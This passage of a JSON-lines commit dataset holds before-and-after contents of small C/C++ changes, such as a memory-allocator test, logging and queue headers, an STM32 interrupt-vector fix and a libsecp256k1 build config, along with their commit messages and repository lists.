InputDesc.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"92b435334e50b9918e62f8eb6a1cbe8acc4b3321","old_file":"tests\/performance.c","new_file":"tests\/performance.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include \"bomalloc.h\"\n#include \"dummy.h\"\n\n#define NUM_ROUNDS 500000\n\nsize_t class_for_rnd(int rnd) {\n  return ALIGN(CLASS_TO_SIZE(rnd % NUM_CLASSES) - sizeof(block_t));\n}\n\ntypedef struct {\n  int * space;\n  size_t size;\n} record_t;\n\nint main() {\n  int rnd;\n  size_t alloc_size;\n\n  srand(0);\n\n  for (rnd = 0; rnd < NUM_ROUNDS; rnd++) {\n    alloc_size = class_for_rnd(rnd);\n    bomalloc_malloc(alloc_size);\n  }\n  printf(\"Performance test complete\\n\");\n  print_bomalloc_stats();\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include \"bomalloc.h\"\n#include \"dummy.h\"\n\n#define NUM_ROUNDS 500\n\nsize_t class_for_rnd(int rnd) {\n  return ALIGN(CLASS_TO_SIZE(rnd % NUM_CLASSES) - sizeof(block_t));\n}\n\ntypedef struct {\n  int * space;\n  size_t size;\n} record_t;\n\nint main() {\n  int rnd;\n  size_t alloc_size;\n\n  srand(0);\n\n  for (rnd = 0; rnd < NUM_ROUNDS; rnd++) {\n    alloc_size = class_for_rnd(rnd);\n    bomalloc_malloc(alloc_size);\n  }\n  printf(\"Performance test complete\\n\");\n  print_bomalloc_stats();\n}\n","subject":"Change perf. test to reasonable number","message":"[test] Change perf. test to reasonable number\n","lang":"C","license":"mit","repos":"benohalloran\/noomr,benohalloran\/noomr,benohalloran\/ipa,benohalloran\/bomalloc,benohalloran\/ipa,benohalloran\/bomalloc"}
{"commit":"c6a82feaaf54cc0888af0266ec1c6113dbd350c6","old_file":"inc\/libutils\/io\/ostream_log_strategy.h","new_file":"inc\/libutils\/io\/ostream_log_strategy.h","old_contents":"\/*\n * ostream_log_strategy.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#include <ostream>\n\n#include \"libutils\/io\/log_strategy.h\"\n\nnamespace utils\n{\nnamespace io\n{\n\ntemplate<typename CharT_>\nclass OstreamLogStrategy : public LogStrategy<CharT_>\n{\npublic:\n\tvoid Flush()\n\t{\n\t\tGetStream().flush();\n\t}\n\nprotected:\n\texplicit OstreamLogStrategy(std::basic_ostream<CharT_> *stream)\n\t\t\t: OstreamLogStrategy(stream, true)\n\t{}\n\tOstreamLogStrategy(std::basic_ostream<CharT_> *stream, const bool is_owner);\n\tvirtual ~OstreamLogStrategy();\n\n\tstd::basic_ostream<CharT_>& GetStream()\n\t{\n\t\treturn *m_stream;\n\t}\n\nprivate:\n\tstd::basic_ostream<CharT_> *m_stream;\n\tbool m_is_owner;\n};\n\n}\n}\n\n#include \"ostream_log_strategy.tcc\"\n","new_contents":"\/*\n * ostream_log_strategy.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#include <ostream>\n\n#include \"libutils\/io\/log_strategy.h\"\n\nnamespace utils\n{\nnamespace io\n{\n\ntemplate<typename CharT_>\nclass OstreamLogStrategy : public LogStrategy<CharT_>\n{\npublic:\n\tvoid Flush()\n\t{\n\t\tGetStream().flush();\n\t}\n\nprotected:\n\texplicit OstreamLogStrategy(std::basic_ostream<CharT_> *stream)\n\t\t\t: OstreamLogStrategy(stream, true)\n\t{}\n\tOstreamLogStrategy(std::basic_ostream<CharT_> *stream, const bool is_owner);\n\tOstreamLogStrategy(const OstreamLogStrategy&) = delete;\n\tOstreamLogStrategy(OstreamLogStrategy&&) = delete;\n\tvirtual ~OstreamLogStrategy();\n\n\tstd::basic_ostream<CharT_>& GetStream()\n\t{\n\t\treturn *m_stream;\n\t}\n\nprivate:\n\tstd::basic_ostream<CharT_> *m_stream;\n\tbool m_is_owner;\n};\n\n}\n}\n\n#include \"ostream_log_strategy.tcc\"\n","subject":"Delete copy and move constructor","message":"Delete copy and move constructor","lang":"C","license":"mit","repos":"nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils"}
{"commit":"6a4e3316af783cd36cb96a7dd81597cc272801e8","old_file":"main.c","new_file":"main.c","old_contents":"#include \"config_parse.h\"\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\nextern char **environ;\r\n\r\n\/******************************************************************************\/\r\nint main(\r\n    int argc,\r\n    char *argv[]\r\n)\r\n{\r\n    FILE * conf_fd;\r\n    config_parse_res_t res;\r\n    \r\n    if(argc != 2)\r\n    {\r\n        printf(\"usage: config_parse file\\n\");\r\n        return EXIT_FAILURE;\r\n    }\r\n    \r\n    conf_fd = fopen(argv[1], \"r\");\r\n    \r\n    if(NULL != conf_fd)\r\n    {\r\n        res = config_parse(conf_fd, 1);\r\n        if(CONFIG_PARSE_OK == res)\r\n        {\r\n            char **env;\r\n            for (env = environ; *env; ++env)\r\n                printf(\"%s\\n\", *env);\r\n        }\r\n        else\r\n        {\r\n            printf(\"Error no. %d while processing file \\n\", res);\r\n        }\r\n        \r\n        fclose(conf_fd);\r\n    }\r\n    else\r\n    {\r\n        printf(\"Could not open the specified file.\\n\");\r\n        return EXIT_FAILURE;\r\n    }\r\n    \r\n    return EXIT_SUCCESS;\r\n}","new_contents":"#include \"config_parse.h\"\r\n#include <stdio.h>\r\n#include <string.h>\r\n#include <stdlib.h>\r\n\r\nextern char **environ;\r\n\r\n\/******************************************************************************\/\r\nint main(\r\n    int argc,\r\n    char *argv[]\r\n)\r\n{\r\n    FILE * conf_fd;\r\n    config_parse_res_t res;\r\n    \r\n    if(argc != 2)\r\n    {\r\n        printf(\"usage: config_parse file ('-' for stdin)\\n\");\r\n        return EXIT_FAILURE;\r\n    }\r\n    \r\n    if(0 == strcmp(\"-\", argv[1]))\r\n    {\r\n        conf_fd = stdin;\r\n    }\r\n    else\r\n    {\r\n        conf_fd = fopen(argv[1], \"r\");\r\n    }\r\n    \r\n    if(NULL != conf_fd)\r\n    {\r\n        res = config_parse(conf_fd, 1);\r\n        if(CONFIG_PARSE_OK == res)\r\n        {\r\n            char **env;\r\n            for (env = environ; *env; ++env)\r\n                printf(\"%s\\n\", *env);\r\n        }\r\n        else\r\n        {\r\n            printf(\"Error no. %d while processing file \\n\", res);\r\n        }\r\n        \r\n        fclose(conf_fd);\r\n    }\r\n    else\r\n    {\r\n        printf(\"Could not open the specified file.\\n\");\r\n        return EXIT_FAILURE;\r\n    }\r\n    \r\n    return EXIT_SUCCESS;\r\n}\r\n","subject":"Add option to read from stdin","message":"Add option to read from stdin\n","lang":"C","license":"mit","repos":"stefan-misik\/config-parse"}
{"commit":"f5cca606abcaa2dca2585887be7498947058fc9b","old_file":"psimpl-c.h","new_file":"psimpl-c.h","old_contents":"","new_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/*\n    psimpl-c\n    Copyright (c) 2013 Jamie Bullock <jamie@jamiebullock.com>\n \n    Based on psimpl\n    Copyright (c) 2010-2011 Elmar de Koning <edekoning@gmail.com>\n*\/\n\n#include <stdint.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ndouble *psimpl_simplify_douglas_peucker(\n                                        uint8_t dimensions,\n                                        double tolerance,\n                                        double *original_points,\n                                        double *simplified_points\n                                        );\n\n#ifdef __cplusplus\n}\n#endif","subject":"Add initial C interface with support for Douglas-Peucker","message":"Add initial C interface with support for Douglas-Peucker\n","lang":"C","license":"mpl-2.0","repos":"jamiebullock\/psimpl-c,jamiebullock\/psimpl-c,jamiebullock\/psimpl-c,jamiebullock\/psimpl-c"}
{"commit":"bd6796b0bde2d9ccdc55fdaf7747f1846ecd459d","old_file":"src\/unix\/unix_c\/unix_mcast_utils.h","new_file":"src\/unix\/unix_c\/unix_mcast_utils.h","old_contents":"\/* OCaml promise library\n * http:\/\/www.ocsigen.org\/lwt\n * Copyright (C) 2009-2010 Jérémie Dimino\n *               2009 Mauricio Fernandez\n *               2010 Pierre Chambart\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, with linking exceptions;\n * either version 2.1 of the License, or (at your option) any later\n * version. See COPYING file for details.\n *\n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\/\n\n#pragma once\n#include \"lwt_config.h\"\n\n#if !defined(LWT_ON_WINDOWS)\n\n#include <caml\/mlvalues.h>\n#include <caml\/unixsupport.h>\n\nint socket_domain(int fd);\n#endif\n","new_contents":"\/* OCaml promise library\n * http:\/\/www.ocsigen.org\/lwt\n * Copyright (C) 2009-2010 Jérémie Dimino\n *               2009 Mauricio Fernandez\n *               2010 Pierre Chambart\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, with linking exceptions;\n * either version 2.1 of the License, or (at your option) any later\n * version. See COPYING file for details.\n *\n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\/\n\n#pragma once\n#include \"lwt_config.h\"\n\n\/*\n * Included in:\n * - unix_mcast_modify_membership.c\n * - unix_mcast_set_loop.c\n * - unix_mcast_set_ttl.c\n * - unix_mcast_utils.c\n *\/\n\n#if !defined(LWT_ON_WINDOWS)\n\n#include <caml\/mlvalues.h>\n#include <caml\/unixsupport.h>\n\nint socket_domain(int fd);\n#endif\n","subject":"Add in comments the files that uses this header","message":"Add in comments the files that uses this header\n","lang":"C","license":"mit","repos":"c-cube\/lwt,ocsigen\/lwt,rneswold\/lwt,ocsigen\/lwt,ocsigen\/lwt,rneswold\/lwt,c-cube\/lwt,rneswold\/lwt,c-cube\/lwt"}
{"commit":"e5c078e0f278adfbe685df2d8e141a9f71ea7cc8","old_file":"queue\/linkedListImplementation\/queue.h","new_file":"queue\/linkedListImplementation\/queue.h","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"utility.h\"\n\n\/* \n * MAW 3.25.a Write the routines to implement queues using: Linked Lists\n *\n * We use a header node at the very beginning of the linked list. \n *\n * Front: | header node | -> | data node | -> | data node | :Rear\n *\/\n#ifndef _QUEUE_H\n#define _QUEUE_H\n\ntypedef int ET;\n\nstruct QueueRecord;\nstruct QueueCDT;\ntypedef struct QueueRecord* PtrToNode;\ntypedef struct QueueCDT* QueueADT; \/\/ naming convention: https:\/\/www.cs.bu.edu\/teaching\/c\/queue\/linked-list\/types.html\n\nint isEmpty(QueueADT Q);\nQueueADT createQueue();\nvoid disposeQueue(QueueADT Q);\nvoid makeEmpty(QueueADT Q);\nvoid enqueue(ET elem, QueueADT Q);\nET front(QueueADT Q);\nvoid dequeue(QueueADT Q);\nET frontAndDequeue(QueueADT Q);\n\nQueueADT initializeQueue(ET array[], int lengthArray);\nvoid printQueue(QueueADT Q);\n\n#endif\n\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"utility.h\"\n\n\/* \n * MAW 3.25.a Write the routines to implement queues using: Linked Lists\n *\n * We use a header node at the very beginning of the linked list. \n *\n * Front: | header node | -> | data node | -> | data node | :Rear\n *\/\n#ifndef _QUEUE_H\n#define _QUEUE_H\n\ntypedef int ET;\n\nstruct QueueRecord;\nstruct QueueCDT;\ntypedef struct QueueRecord* PtrToNode;\n\n\/\/ CDT: concrete-type-of-a-queue\n\/\/ ADT: abstract-type-of-a-queue\ntypedef struct QueueCDT* QueueADT; \/\/ naming convention: https:\/\/www.cs.bu.edu\/teaching\/c\/queue\/linked-list\/types.html\n\nint isEmpty(QueueADT Q);\nQueueADT createQueue();\nvoid disposeQueue(QueueADT Q);\nvoid makeEmpty(QueueADT Q);\nvoid enqueue(ET elem, QueueADT Q);\nET front(QueueADT Q);\nvoid dequeue(QueueADT Q);\nET frontAndDequeue(QueueADT Q);\n\nQueueADT initializeQueue(ET array[], int lengthArray);\nvoid printQueue(QueueADT Q);\n\n#endif\n\n","subject":"Add comment remarks to CDT & ADT","message":"Add comment remarks to CDT & ADT\n","lang":"C","license":"mit","repos":"xxks-kkk\/algo,xxks-kkk\/algo"}
{"commit":"fee691d90d9df4376b6ffffb6516d8a817025c93","old_file":"StarEngine\/jni\/Input\/GestureManager.h","new_file":"StarEngine\/jni\/Input\/GestureManager.h","old_contents":"#pragma once\r\n#ifdef _WIN32\r\n#else\r\n#include <android_native_app_glue.h>\r\n#endif\r\n#include <vector>\r\n#include \"BaseGesture.h\"\r\n\r\nnamespace star\r\n{\r\n\tstruct WinInputState;\r\n\r\n\tclass GestureManager {\r\n\tpublic:\r\n\t\tGestureManager();\r\n\t\t~GestureManager();\r\n\t\tvoid Update(const Context& context);\r\n\t\tvoid AddGesture(BaseGesture* gesture);\r\n\t\tvoid RemoveGesture(BaseGesture* gesture);\r\n\r\n#ifdef _WIN32\r\n\t\tvoid OnUpdateWinInputState();\r\n#else\r\n\t\tvoid OnTouchEvent(AInputEvent* pEvent);\r\n#endif\r\n\tprivate:\r\n\t\tstd::vector<BaseGesture*> m_GestureVec;\r\n\t\tdouble m_dTime;\r\n\t\tdouble m_TotalTime;\r\n\r\n\t\tGestureManager(const GestureManager& t);\n\t\tGestureManager(GestureManager&& t);\n\t\tGestureManager& operator=(const GestureManager& t);\r\n\t};\r\n}\r\n","new_contents":"#pragma once\r\n#ifdef _WIN32\r\n#else\r\n#include <android_native_app_glue.h>\r\n#endif\r\n#include <vector>\r\n#include \"BaseGesture.h\"\r\n\r\nnamespace star\r\n{\r\n\tstruct WinInputState\r\n\r\n\t\/\/ [COMMENT] Gesture-Tags\r\n\t\/\/ Gestures should also be given a user-defined tag \r\n\t\/\/ when added to the the manager.\r\n\r\n\t\/\/ this way the user can look them up by tag, rather then\r\n\t\/\/ on pointer ( for adding one, or removing one, or getting one )\r\n\t\/\/ Part of the beauty of this kind of managing concept is\r\n\t\/\/ that the user doesn't have to bother about the pointers\r\n\t\/\/ as that's all managed inside the manager.\r\n\r\n\t\/\/ On a side note... It's probably a good practice that the user defines\r\n\t\/\/ these gestures in the Game class, as scenes get created\r\n\t\/\/ and deleted everytime the screen rotates on android.\r\n\r\n\tclass GestureManager {\r\n\tpublic:\r\n\t\tGestureManager();\r\n\t\t~GestureManager();\r\n\t\tvoid Update(const Context& context);\r\n\t\tvoid AddGesture(BaseGesture* gesture);\r\n\t\tvoid RemoveGesture(BaseGesture* gesture);\r\n\r\n#ifdef _WIN32\r\n\t\tvoid OnUpdateWinInputState();\r\n#else\r\n\t\tvoid OnTouchEvent(AInputEvent* pEvent);\r\n#endif\r\n\tprivate:\r\n\t\tstd::vector<BaseGesture*> m_GestureVec;\r\n\t\tdouble m_dTime;\r\n\t\tdouble m_TotalTime;\r\n\r\n\t\tGestureManager(const GestureManager& t);\n\t\tGestureManager(GestureManager&& t);\n\t\tGestureManager& operator=(const GestureManager& t);\r\n\t};\r\n}\r\n","subject":"Comment for pieter in Gesture manager. Read && fix","message":"Comment for pieter in Gesture manager. Read && fix\n","lang":"C","license":"mit","repos":"gh054\/engine,gh054\/engine,GlenDC\/StarEngine,GlenDC\/StarEngine,hcxyzlm\/engine,StarEngine\/engine,GlenDC\/StarEngine,StarEngine\/engine,hcxyzlm\/engine,GlenDC\/StarEngine,GlenDC\/StarEngine"}
{"commit":"2d6d79307c500ce31d981ed5c9f54249f8ccb459","old_file":"src\/kudu\/util\/shared_ptr_util.h","new_file":"src\/kudu\/util\/shared_ptr_util.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2015, Cloudera, inc.\n\/\/ Confidential Cloudera Information: Covered by NDA.\n\n#ifndef KUDU_UTIL_SHARED_PTR_UTIL_H_\n#define KUDU_UTIL_SHARED_PTR_UTIL_H_\n\n#include <cstddef>\n#include <tr1\/memory>\n\nnamespace kudu {\n\n\/\/ This is needed on TR1. With C++11, std::hash<std::shared_ptr<>> is provided.\ntemplate <class T>\nstruct SharedPtrHashFunctor {\n  std::size_t operator()(const std::tr1::shared_ptr<T>& key) const {\n    return reinterpret_cast<std::size_t>(key.get());\n  }\n};\n\n} \/\/ namespace kudu\n\n#endif \/\/ KUDU_UTIL_SHARED_PTR_UTIL_H_\n","subject":"Add hash function for std::tr1::shared_ptr<>","message":"Add hash function for std::tr1::shared_ptr<>\n\nThis exists as a std::hash<> specialization for std::shared_ptr in C++11\nbut it does not ship with TR1.\n\nChange-Id: Id342f8e9c45f93a2b22e530a689ca18ebf8534b1\nReviewed-on: http:\/\/gerrit.sjc.cloudera.com:8080\/5998\nTested-by: Michael Percy <e07a1fd797b473a9c849e618aa2ce06d8055760b@cloudera.com>\nReviewed-by: Todd Lipcon <2c763d726a8c2f6afda9be7e0e56a2caa6bb5e6b@cloudera.com>\n","lang":"C","license":"apache-2.0","repos":"helifu\/kudu,helifu\/kudu,cloudera\/kudu,helifu\/kudu,helifu\/kudu,InspurUSA\/kudu,helifu\/kudu,InspurUSA\/kudu,andrwng\/kudu,EvilMcJerkface\/kudu,andrwng\/kudu,helifu\/kudu,InspurUSA\/kudu,andrwng\/kudu,EvilMcJerkface\/kudu,cloudera\/kudu,EvilMcJerkface\/kudu,helifu\/kudu,andrwng\/kudu,andrwng\/kudu,cloudera\/kudu,cloudera\/kudu,EvilMcJerkface\/kudu,EvilMcJerkface\/kudu,EvilMcJerkface\/kudu,andrwng\/kudu,InspurUSA\/kudu,EvilMcJerkface\/kudu,andrwng\/kudu,cloudera\/kudu,helifu\/kudu,cloudera\/kudu,EvilMcJerkface\/kudu,InspurUSA\/kudu,cloudera\/kudu,InspurUSA\/kudu,cloudera\/kudu,andrwng\/kudu,InspurUSA\/kudu,EvilMcJerkface\/kudu,andrwng\/kudu,InspurUSA\/kudu,cloudera\/kudu,InspurUSA\/kudu,helifu\/kudu"}
{"commit":"1f9749452f0d1c50eb920c5df7b026542d07eab8","old_file":"TARGET_STM\/TARGET_STM32F4XX\/cmsis_nvic.c","new_file":"TARGET_STM\/TARGET_STM32F4XX\/cmsis_nvic.c","old_contents":"\/* mbed Microcontroller Library - cmsis_nvic for STM32F4\n * Copyright (c) 2009-2011 ARM Limited. All rights reserved.\n *\n * CMSIS-style functionality to support dynamic vectors\n *\/ \n#include \"cmsis_nvic.h\"\n\n#define NVIC_RAM_VECTOR_ADDRESS   (0x20000000)  \/\/ Location of vectors in RAM\n#define NVIC_FLASH_VECTOR_ADDRESS (0x0)         \/\/ Initial vector position in flash\n\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector) {\n    uint32_t *vectors = (uint32_t*)SCB->VTOR;\n    uint32_t i;\n\n    \/\/ Copy and switch to dynamic vectors if the first time called\n    if (SCB->VTOR == NVIC_FLASH_VECTOR_ADDRESS) {\n        uint32_t *old_vectors = vectors;\n        vectors = (uint32_t*)NVIC_RAM_VECTOR_ADDRESS;\n        for (i=0; i<NVIC_NUM_VECTORS; i++) {\n            vectors[i] = old_vectors[i];\n        }\n        SCB->VTOR = (uint32_t)NVIC_RAM_VECTOR_ADDRESS;\n    }\n    vectors[IRQn + 16] = vector;\n}\n\nuint32_t NVIC_GetVector(IRQn_Type IRQn) {\n    uint32_t *vectors = (uint32_t*)SCB->VTOR;\n    return vectors[IRQn + 16];\n}\n\n","new_contents":"\/* mbed Microcontroller Library - cmsis_nvic for STM32F4\n * Copyright (c) 2009-2011 ARM Limited. All rights reserved.\n *\n * CMSIS-style functionality to support dynamic vectors\n *\/ \n#include \"cmsis_nvic.h\"\n\n#define NVIC_RAM_VECTOR_ADDRESS   (0x20000000)  \/\/ Location of vectors in RAM\n\nstatic unsigned char vtor_relocated;\n\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector) {\n    uint32_t *vectors = (uint32_t*)SCB->VTOR;\n    uint32_t i;\n\n    \/\/ Copy and switch to dynamic vectors if the first time called\n    if (!vtor_relocated) {\n        uint32_t *old_vectors = vectors;\n        vectors = (uint32_t*)NVIC_RAM_VECTOR_ADDRESS;\n        for (i=0; i<NVIC_NUM_VECTORS; i++) {\n            vectors[i] = old_vectors[i];\n        }\n        SCB->VTOR = (uint32_t)NVIC_RAM_VECTOR_ADDRESS;\n        vtor_relocated = 1;\n    }\n    vectors[IRQn + 16] = vector;\n}\n\nuint32_t NVIC_GetVector(IRQn_Type IRQn) {\n    uint32_t *vectors = (uint32_t*)SCB->VTOR;\n    return vectors[IRQn + 16];\n}\n\n","subject":"Fix relocation of vector on STM32.","message":"Fix relocation of vector on STM32.\n","lang":"C","license":"apache-2.0","repos":"Psykar\/kubos,Psykar\/kubos,Psykar\/kubos,kubostech\/KubOS,Psykar\/kubos,Psykar\/kubos,Psykar\/kubos,Psykar\/kubos,kubostech\/KubOS"}
{"commit":"ddc2419c090b0af65edc9eb07ac0a736eb351b69","old_file":"build_msvc\/libsecp256k1_config.h","new_file":"build_msvc\/libsecp256k1_config.h","old_contents":"\/**********************************************************************\n * Copyright (c) 2013, 2014 Pieter Wuille                             *\n * Distributed under the MIT software license, see the accompanying   *\n * file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.*\n **********************************************************************\/\n\n#ifndef BITCOIN_LIBSECP256K1_CONFIG_H\n#define BITCOIN_LIBSECP256K1_CONFIG_H\n\n#undef USE_ASM_X86_64\n#undef USE_ENDOMORPHISM\n#undef USE_FIELD_10X26\n#undef USE_FIELD_5X52\n#undef USE_FIELD_INV_BUILTIN\n#undef USE_FIELD_INV_NUM\n#undef USE_NUM_GMP\n#undef USE_NUM_NONE\n#undef USE_SCALAR_4X64\n#undef USE_SCALAR_8X32\n#undef USE_SCALAR_INV_BUILTIN\n#undef USE_SCALAR_INV_NUM\n\n#define USE_NUM_NONE 1\n#define USE_FIELD_INV_BUILTIN 1\n#define USE_SCALAR_INV_BUILTIN 1\n#define USE_FIELD_10X26 1\n#define USE_SCALAR_8X32 1\n\n#endif \/* BITCOIN_LIBSECP256K1_CONFIG_H *\/\n","new_contents":"\/**********************************************************************\n * Copyright (c) 2013, 2014 Pieter Wuille                             *\n * Distributed under the MIT software license, see the accompanying   *\n * file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.*\n **********************************************************************\/\n\n#ifndef BITCOIN_LIBSECP256K1_CONFIG_H\n#define BITCOIN_LIBSECP256K1_CONFIG_H\n\n#undef USE_ASM_X86_64\n#undef USE_ENDOMORPHISM\n#undef USE_FIELD_10X26\n#undef USE_FIELD_5X52\n#undef USE_FIELD_INV_BUILTIN\n#undef USE_FIELD_INV_NUM\n#undef USE_NUM_GMP\n#undef USE_NUM_NONE\n#undef USE_SCALAR_4X64\n#undef USE_SCALAR_8X32\n#undef USE_SCALAR_INV_BUILTIN\n#undef USE_SCALAR_INV_NUM\n\n#define USE_NUM_NONE 1\n#define USE_FIELD_INV_BUILTIN 1\n#define USE_SCALAR_INV_BUILTIN 1\n#define USE_FIELD_10X26 1\n#define USE_SCALAR_8X32 1\n\n#define ECMULT_GEN_PREC_BITS 4\n#define ECMULT_WINDOW_SIZE 15\n\n#endif \/* BITCOIN_LIBSECP256K1_CONFIG_H *\/\n","subject":"Update MSVC build config for libsecp256k1","message":"Update MSVC build config for libsecp256k1\n","lang":"C","license":"mit","repos":"namecoin\/namecore,MeshCollider\/bitcoin,apoelstra\/bitcoin,instagibbs\/bitcoin,JeremyRubin\/bitcoin,jambolo\/bitcoin,jambolo\/bitcoin,lateminer\/bitcoin,pataquets\/namecoin-core,bitcoin\/bitcoin,bitcoin\/bitcoin,practicalswift\/bitcoin,apoelstra\/bitcoin,mruddy\/bitcoin,mm-s\/bitcoin,MeshCollider\/bitcoin,prusnak\/bitcoin,ElementsProject\/elements,n1bor\/bitcoin,AkioNak\/bitcoin,yenliangl\/bitcoin,fujicoin\/fujicoin,kallewoof\/bitcoin,jnewbery\/bitcoin,practicalswift\/bitcoin,lateminer\/bitcoin,sipsorcery\/bitcoin,MeshCollider\/bitcoin,jnewbery\/bitcoin,fanquake\/bitcoin,tecnovert\/particl-core,MarcoFalke\/bitcoin,EthanHeilman\/bitcoin,jamesob\/bitcoin,JeremyRubin\/bitcoin,GroestlCoin\/bitcoin,domob1812\/namecore,litecoin-project\/litecoin,jlopp\/statoshi,domob1812\/namecore,particl\/particl-core,instagibbs\/bitcoin,bitcoinsSG\/bitcoin,ajtowns\/bitcoin,sstone\/bitcoin,rnicoll\/bitcoin,kallewoof\/bitcoin,mm-s\/bitcoin,MarcoFalke\/bitcoin,lateminer\/bitcoin,sstone\/bitcoin,namecoin\/namecoin-core,EthanHeilman\/bitcoin,sipsorcery\/bitcoin,prusnak\/bitcoin,domob1812\/namecore,pataquets\/namecoin-core,JeremyRubin\/bitcoin,domob1812\/bitcoin,MarcoFalke\/bitcoin,AkioNak\/bitcoin,anditto\/bitcoin,rnicoll\/bitcoin,sstone\/bitcoin,MeshCollider\/bitcoin,bitcoin\/bitcoin,namecoin\/namecore,fanquake\/bitcoin,jnewbery\/bitcoin,alecalve\/bitcoin,litecoin-project\/litecoin,fujicoin\/fujicoin,anditto\/bitcoin,n1bor\/bitcoin,Sjors\/bitcoin,jambolo\/bitcoin,namecoin\/namecoin-core,qtumproject\/qtum,domob1812\/bitcoin,ElementsProject\/elements,instagibbs\/bitcoin,domob1812\/bitcoin,namecoin\/namecoin-core,rnicoll\/bitcoin,ajtowns\/bitcoin,fujicoin\/fujicoin,Xekyo\/bitcoin,Sjors\/bitcoin,pstratem\/bitcoin,cdecker\/bitcoin,anditto\/bitcoin,bitcoinknots\/bitcoin,EthanHeilman\/bitcoin,andreaskern\/bitcoin,AkioNak\/bitcoin,rnicoll\/dogecoin,EthanHeilman\/bitcoin,MarcoFalke\/bitcoin,bitcoinsSG\/bitcoin,achow101\/bitcoin,andreaskern\/bitcoin,bitcoinsSG\/bitcoin,fanquake\/bitcoin,sipsorcery\/bitcoin,namecoin\/namecoin-core,Sjors\/bitcoin,n1bor\/bitcoin,mm-s\/bitcoin,Xekyo\/bitcoin,sipsorcery\/bitcoin,particl\/particl-core,Xekyo\/bitcoin,tecnovert\/particl-core,jnewbery\/bitcoin,fujicoin\/fujicoin,kallewoof\/bitcoin,alecalve\/bitcoin,tecnovert\/particl-core,apoelstra\/bitcoin,prusnak\/bitcoin,bitcoin\/bitcoin,litecoin-project\/litecoin,practicalswift\/bitcoin,midnightmagic\/bitcoin,achow101\/bitcoin,yenliangl\/bitcoin,practicalswift\/bitcoin,bitcoinsSG\/bitcoin,rnicoll\/dogecoin,achow101\/bitcoin,lateminer\/bitcoin,GroestlCoin\/bitcoin,MarcoFalke\/bitcoin,AkioNak\/bitcoin,namecoin\/namecore,anditto\/bitcoin,cdecker\/bitcoin,domob1812\/bitcoin,domob1812\/namecore,particl\/particl-core,yenliangl\/bitcoin,Sjors\/bitcoin,mruddy\/bitcoin,bitcoinsSG\/bitcoin,mruddy\/bitcoin,dscotese\/bitcoin,mruddy\/bitcoin,GroestlCoin\/GroestlCoin,midnightmagic\/bitcoin,cdecker\/bitcoin,dscotese\/bitcoin,instagibbs\/bitcoin,bitcoinknots\/bitcoin,bitcoinknots\/bitcoin,fanquake\/bitcoin,Xekyo\/bitcoin,bitcoin\/bitcoin,bitcoinknots\/bitcoin,rnicoll\/bitcoin,jonasschnelli\/bitcoin,GroestlCoin\/GroestlCoin,JeremyRubin\/bitcoin,n1bor\/bitcoin,MarcoFalke\/bitcoin,sipsorcery\/bitcoin,jlopp\/statoshi,particl\/particl-core,alecalve\/bitcoin,GroestlCoin\/bitcoin,pataquets\/namecoin-core,prusnak\/bitcoin,anditto\/bitcoin,jnewbery\/bitcoin,cdecker\/bitcoin,achow101\/bitcoin,andreaskern\/bitcoin,practicalswift\/bitcoin,anditto\/bitcoin,jambolo\/bitcoin,bitcoin\/bitcoin,dscotese\/bitcoin,jlopp\/statoshi,JeremyRubin\/bitcoin,qtumproject\/qtum,apoelstra\/bitcoin,midnightmagic\/bitcoin,litecoin-project\/litecoin,mruddy\/bitcoin,achow101\/bitcoin,MeshCollider\/bitcoin,pataquets\/namecoin-core,tecnovert\/particl-core,andreaskern\/bitcoin,fanquake\/bitcoin,pataquets\/namecoin-core,qtumproject\/qtum,andreaskern\/bitcoin,jlopp\/statoshi,alecalve\/bitcoin,jambolo\/bitcoin,fujicoin\/fujicoin,EthanHeilman\/bitcoin,GroestlCoin\/GroestlCoin,pataquets\/namecoin-core,qtumproject\/qtum,GroestlCoin\/bitcoin,Xekyo\/bitcoin,ElementsProject\/elements,ElementsProject\/elements,jonasschnelli\/bitcoin,sipsorcery\/bitcoin,pstratem\/bitcoin,qtumproject\/qtum,namecoin\/namecoin-core,dscotese\/bitcoin,kallewoof\/bitcoin,litecoin-project\/litecoin,EthanHeilman\/bitcoin,particl\/particl-core,ajtowns\/bitcoin,jamesob\